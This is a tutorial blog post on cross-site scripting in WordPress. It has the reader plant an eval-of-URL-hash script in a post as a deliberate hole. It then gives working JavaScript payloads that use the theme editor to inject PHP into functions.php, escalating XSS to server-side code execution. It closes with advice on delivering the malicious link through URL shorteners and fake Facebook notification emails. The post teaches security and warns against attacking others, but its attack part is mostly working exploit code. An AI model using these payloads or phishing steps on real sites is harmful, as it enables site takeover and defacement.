XSS in WordPress: a tutorial

One of the most common vulnerabilities in WordPress plugins is cross site scripting – XSS for short. The basic premise of XSS is that an attacker is able to cause JavaScript to run in somebody else’s browser, while they’re on a website that the attacker shouldn’t be able to control.

By the end of this, you’ll have introduced a vulnerability, proven that it’s vulnerable, gotten up to a little mischief, and hopefully gained an understanding of why XSS is particularly dangerous within WordPress.

(P.S.A.: Doing this to somebody without their permission is a crime.)

Before we begin: Make your site vulnerable

(Tip: Probably best not to do this on a production site)

There are many ways to make your site vulnerable to XSS. But in the interest of brevity, we’ll choose the quickest and easiest way to do it. Create a new post on your WordPress site, as an admin user, switch the editor into Text mode, and add this and click publish:

<script>eval(window.location.hash.substring(1))</script>

Congratulations, your site is vulnerable to XSS.

Step 1: Proof of concept

I claimed that your site is vulnerable to XSS, but is it really? Don’t take my word for it, let’s prove it.

Visit the page you just created, and then add #alert(1) to the end of the URL. (You may need to refresh after doing that).

You should see an alert box saying “localhost says: 1” or just “1”.

This is called a “proof of concept”. We’ve proven that we can control the JavaScript running on this site without being admins.

This is where I would usually stop, write up what I’ve found, and send it to the author of the plugin/theme for them to fix. But we’re wearing the other hat today…

Step 2: Writing a malicious payload

We can do a lot of things. We could create a new user, we could delete all the posts, but today let’s do the worst thing possible and execute arbitrary code on the server.

By default, WordPress lets you edit theme and plugin files. You absolutely should turn this off. Somebody with malicious intentions can do a lot of damage with it. As we’re about to find out…

You can edit the current theme’s functions.php file from /wp-admin/theme-editor.php?file=functions.php

Open up your devtools and execute this (no really, don’t do this on your production site!):

nc=document.querySelector('#newcontent');nc.value='<?php echo "HACK THE PLANET";phpinfo();exit()?>'+nc.value;nc.form.submit.click()

Ooh, that’s going to be annoying. We haven’t done too much damage though, so open up functions.php in your text editor and remove the defacement (i.e. replace the first line with <?php).

Now we have a proof of concept and a malicious payload we want to execute. We just need to put those pieces together, along with a little extra JavaScript to open that page in an iframe, and we’ll have something ready to do some damage…

Visit your vulnerable page, and add the following to the end of the URL (you may need to refresh after doing that):

#i=document.createElement('iframe');document.body.appendChild(i);i.src='/wp-admin/theme-editor.php?file=functions.php';window.setTimeout(function(){nc=i.contentDocument.querySelector('#newcontent');nc.value='<?php echo "HACK THE PLANET";phpinfo();exit()?>'+nc.value;nc.form.submit.click()},3000)

Now you’ve defaced your entire site just by following a link. If you can run arbitrary JavaScript on a WordPress site you can do virtually anything an admin user can do, including (by default) execute arbitrary PHP.

Step 3: Delivery

To deliver your link you’ll probably need to use some social engineering.

Firstly, a URL shortener is handy – a bit.ly link might look suspicious, but less suspicious than a huge URL full of JavaScript.

You could make an email that looks exactly like a Facebook notification. You could even buy a domain name, set it up to redirect to the malicious URL, and rent a billboard outside their office. Get creative.

End

We’ve made your site vulnerable, we’ve proven that a vulnerability exists, and we’ve written an exploit that does a bit of damage.

We learnt that if you can run alert(1) then you can probably run any JavaScript.

We’ve also learnt that by default, an XSS vulnerability in WordPress allows attackers to run arbitrary PHP code. This is why XSS in WordPress is particularly dangerous.

Here are some links for further study: